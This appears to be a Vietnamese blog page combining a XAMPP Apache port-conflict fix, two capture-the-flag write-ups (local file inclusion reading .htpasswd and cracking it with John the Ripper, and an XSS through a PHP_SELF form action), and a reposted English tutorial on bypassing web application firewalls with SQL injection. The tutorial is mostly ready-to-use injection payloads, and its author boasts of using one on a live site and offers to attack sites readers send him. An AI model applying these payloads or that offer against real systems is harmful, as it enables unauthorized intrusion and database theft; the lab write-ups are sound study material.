Khắc phục lỗi không khởi động được Apache server khi cài đặt XAMPP trên Windows

Một số người bạn của mình có hỏi là tại sao khi cài đặt XAMPP rồi không thể khởi động được apache.

1

Mấy dòng chữ đỏ nó như thế này:

[Apache] Problem detected!
[Apache] Port 443 in use by ""C:\Program Files (x86)\VMware\VMware Workstation\vmware-hostd.exe" -u "C:\ProgramData\VMware\hostd\config.xml"" with PID 2064!
[Apache] Apache WILL NOT start without the configured ports free!
[Apache] You need to uninstall/disable/reconfigure the blocking application
[Apache] or reconfigure Apache and the Control Panel to listen on a different port

Lý do chủ yếu là do xung đột cổng 80 hoặc 443 của apache. Đa số các bạn cài XAMPP lên máy tính đều là lập trình viên, đo đó trên máy thường có các phần mềm khác có khả năng sử dụng chung cổng với Apache như Skype (chung cổng 80), VMWare (chung cổng 443).

Để giải quyết xung đột cổng, đơn giản là ta cho Apache sử dụng 1 cổng khác ngoài 80 hoặc 443.

Để đổi cổng 443, trong XAMPP Control Panel các bạn chọn nút config của apache, sau đó chọn httpd-ssl.conf như hình sau:

2

Lúc này sẽ mở ra một file text, các bạn tìm đến dòng

Listen 443

Các bạn sửa lại thành một số tùy thích, ở đây tôi sửa thành 8443.

Save lại, tắt file text đi và start Apache thôi. Nếu vẫn không được có thể bạn phải đổi cả cổng 80 nữa. Vẫn trong menu của nút config, chọn file httpd.conf tìm đến dòng Listen 80 và sửa lại thành một con số khác, ví dụ 8088. Save và start apache.

Nếu vẫn không được các bạn có thể để lại comment tại đây mình sẽ cố gắng hỗ trợ nếu có thể.

Cập nhật: Có nhiều bạn comment là đổi port rồi nhưng vẫn không được, mình có tìm hiểu thêm 1 trường hợp như sau các bạn có thể thử:

  • Vào menu Start của Windows, gõ services.msc
  • Tìm đến World Wide Web Publishing Service
  • Click chuột phải và chọn STOP
  • Khởi động lại XAMPP

Security Challenge 1

Links: damo.clanteam.com/sch1/index.php

Click vào home thấy URL là:

http://damo.clanteam.com/sch1/index.php?page=main

Dự đoán trang bị lỗi file inclusion, thử với payload để lấy file .htaccess:

http://damo.clanteam.com/sch1/index.php?page=admin/.htaccess%00

Kết quả được là:

AuthType Basic AuthName “Restricted Access!” AuthUserFile /www/clanteam.com/d/a/m/damo/htdocs/hiddenfoldersch1/.htpasswd Require user damo

Bây giờ cần đọc file .htpasswd, ta dùng payload:

http://damo.clanteam.com/sch1/index.php?page=../hiddenfoldersch1/.htpasswd%00

Kết quả là:

damo:$apr1$a1ce30f9$gPGHBAYaHDGK7asUC6DdN/

Ta đã có password đã mã hóa của user damo, bây giờ cần giải mã nó. Tôi sẽ dùng công cụ John the Ripper với wordlist là rockyou.txt

john --wordlist=rockyou.txt passwd.txt

Được mật khẩu là: explosion

Bây giờ nhập damo:explosion để xác thực truy cập vào folder admin, ta được key là:

solution

 

Thanks damo for this challenge!

[securityoverride.org] Basic Mission 15

Đây là challenge tốn không ít thời gian khám phá và search google cũng như forum bàn luận của trang này mà tôi mới làm được nó. Nó không sử dụng các kĩ thuật mà tôi đã biết trước đó nên khi làm xong cảm thấy bổ ích hơn các challenge khác (cả bài 14 nữa).

Quyết định viết “writeup” để hiểu chi tiết về nó một chút.

Khi bắt đầu thì nó cho cái form submit thế này:

pic1

Mục tiêu đề ra là phải tạo được một cái messagebox với nội dung là xss.

Cũng như bao challenge khác, tôi cặm cụi tìm cách bypass filter:

Đầu tiên chắc chắn là phải thử cái này:

<script>alert(‘xss’);</script>

Thử cho vui chứ chắc chắn là không được rồi vì các dấu < > đã được html encode.

Xong rồi thử hết các kiểu thông thường mà tôi nghĩ là có thể được như:

base64 encode:

PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ+

hex encode:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3b%3c%2f%73%63%72%69%70%74%3e

String.fromCharCode:

alert(String.fromCharCode(88, 83, 83))

Rồi thử tùm lum các kiểu nhưng thử hoài mà không được nên tôi phải dừng lại và suy nghĩ.

Nghĩ không ra mới vào forum xem họ bàn luận thế nào. Các pro đã giải challenge này có hint là phải xác định được chỗ bị lỗi rồi mới khai thác.

Tức là có khả năng tôi đã xác định sai entry point để tấn công, mà đúng là sai thật!!!

View source và thấy cái comment này:

<div style='color: #fff;'>Note: Sorry to all the legitimate bbcode users,
but previously, some jerk exploited them, and so I had to remove bbcodes all together
my <!--php_-->self... So no more bbcodes. :(</div><br />
<form action='/challenges/basic/15/index.php' method='post'>
<textarea name='comment' cols='70' rows='7' class='textbox' style='width:98%;'></textarea>
<br />
<input type='submit' value='Post Comment' />
</form>

Chú ý cái chỗ:

<!–php_–>self…

cái chỗ này nó chả phải là ngẫu nhiên rồi :((

Search Google về PHP_SELF rồi đọc một hồi, tôi hiểu ra vấn đề ở chỗ cái form submit.

Cái chỗ:

action=’challenges/basic/15/index.php

nó không phải là fix cứng mà coder đã set nó bằng cái này:

action= $SERVER[‘PHP_SELF’]

Cái biến này cụ thể nó là như sau:

Nếu như file php của mình mà đặt tại địa chỉ:

http://www.yourserver.com/form-action.php

thì PHP_SELF sẽ có giá trị là:

“/form-action.php”

Nếu file php đặt tại vị trí:

http://www.yourserver.com/dir1/form-action.php

thì PHP_SELF lúc này nó sẽ có giá trị:

“/dir1/form-action.php”

Sau khi hiểu về cái PHP_SELF này thì áp dụng vào bài của mình:

PHP file đang đặt tại:

http://securityoverride.org/challenges/basic/15/index.php

và cái thằng action của form nó có giá trị:

‘/challenges/basic/15/index.php’

=> chuẩn cmnr. Nó đã dùng PHP_SELF ở cái chỗ này.

Bây giờ không submit ở form nữa mà phải ở URL:

http://securityoverride.org/challenges/basic/15/index.php/'><script>alert('xss');</script>

và nó đã hiện lên cái messagebox:

pic2

Form của chúng ta bây giờ nó đã trở thành:

<form action=’/challenges/basic/15/index.php/’><script>alert(‘xss’);</script>’ method=’post’>

Chốt lại bài này sau khi làm xong biết thêm 1 entry point khi khai thác XSS, nó chính là thuộc tính action của form

Thanks!

WAF BYPASS SQL INJECTION

Đăng lại từ: http://securityoverride.org//forum/viewthread.php?thread_id=2674

This is such a wide Topic, but today were going to examine WAF bypas and SQL injection What is a WAF? A WAF is a Web Application Firewall used to filter certain malicious requests and/or keywords. Is a WAF a safe way to protect my Website? Well, thats a tough question. A WAF alone will not protect your website if your code is vulnerable, but a WAF and secure coding will. A WAF should be used as a tool in your tool shed, but you should never count on a WAF to keep attackers out because most, if not all WAF’s can be bypassed with the time and
brains.Today,we will take a look into how exactly to do this

1. Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to
kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in
SQL :

//, — , /**/, #, –+, — -, ;%00

2. Case Changing:

Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:

Possible Regex filter:

/union\sselect/g

id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)

3. Inline Comments:

Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:

id=1/*!UnIoN*/SeLeCT

Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– –

The above code would bypass the filter. Notice we can use “like” instead of “=”

Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– –

The above code should bypass the Union+select filters even where common inline comments didn’t work itself.

4. Buffer Overflow/Unexpected input:

Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36–+

This bypass above works. I myself just used this against a Web site recently.

5. Replaced keywords(preg_replace and/or WAF’s with the same action):

Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:

id=1+UNIunionON+SeLselectECT+1,2,3–

As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:

UNION+SELECT+1,2,3–

6. Charachter encoding:
Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.

Examples of double encoding:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+

Some examples of double encoding are:

Single Quote ‘ %u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
______________________________
White Space:    %u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
_______________________________
(                         %u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
_____________________________
)                         %u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
______________________________

7. Putting it all together:

After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:

7a. Breaking the SQL statement: To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa

7b. Verbose Errors: When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):

id=1+Select+1,2,3–

And the error was something like:

Error at line 1 near ” “+1,2,3–

We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:

sel%0bect+1,2,3

From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.

8. Advanced Bypassing Techniques: As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN:P When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?”‘] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also
properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:

id=1+uni*on+sel*ect+1,2,3–+

When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit:)

Some other bypasses:

id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.

If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!!!!!!!!!!!!!!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.

Enjoy!!

sources:
Web Application Hackers Handbook
SQL injections: Attack and Defense.